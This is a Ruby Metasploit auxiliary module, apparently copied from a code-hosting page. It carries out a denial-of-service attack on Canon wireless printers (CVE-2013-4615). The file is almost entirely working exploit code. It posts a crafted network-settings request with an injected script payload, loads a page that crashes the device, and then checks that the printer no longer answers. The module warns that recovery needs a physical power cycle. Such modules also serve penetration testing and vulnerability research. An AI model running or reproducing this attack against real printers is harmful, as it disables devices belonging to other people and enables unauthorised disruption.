91 lines
2.6 KiB
Ruby
91 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Canon Wireless Printer Denial Of Service',
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'Description' => %q{
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The HTTP management interface on several models of Canon Wireless printers
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allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
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if this module is successful, the device can only be recovered with a physical
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power cycle.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
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],
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'References' => [
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[ 'CVE', '2013-4615' ],
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[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
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],
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'DisclosureDate' => 'Jun 18 2013'))
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end
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def is_alive?
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/',
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},10)
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return !res.nil?
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end
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def run
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begin
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# The first request will set the new IP
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/English/pages_MacUS/cgi_lan.cgi',
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'data' => 'OK.x=61' +
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'&OK.y=12' +
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'&LAN_OPT1=2' +
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'&LAN_TXT1=Wireless' +
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'&LAN_OPT3=1' +
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'&LAN_TXT21=192' +
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'&LAN_TXT22=168' +
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'&LAN_TXT23=1' +
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'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
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'&LAN_TXT31=255' +
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'&LAN_TXT32=255' +
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'&LAN_TXT33=255' +
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'&LAN_TXT34=0' +
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'&LAN_TXT41=192' +
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'&LAN_TXT42=168' +
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'&LAN_TXT43=1' +
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'&LAN_TXT44=1' +
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'&LAN_OPT2=4' +
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'&LAN_OPT4=1' +
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'&LAN_HID1=1'
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})
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
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print_error("Couldn't connect to #{rhost}:#{rport}")
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return
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end
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# The second request will load the network options page, which seems to trigger the DoS
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send_request_cgi({
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'method' => 'GET',
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'uri' => '/English/pages_MacUS/lan_set_content.html'
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},5) #default timeout, we don't care about the response
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# Check to see if it worked or not
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if is_alive?
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print_error("#{rhost}:#{rport} - Server is still alive")
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else
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print_good("#{rhost}:#{rport} - Connection Refused: Success!")
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end
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end
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end
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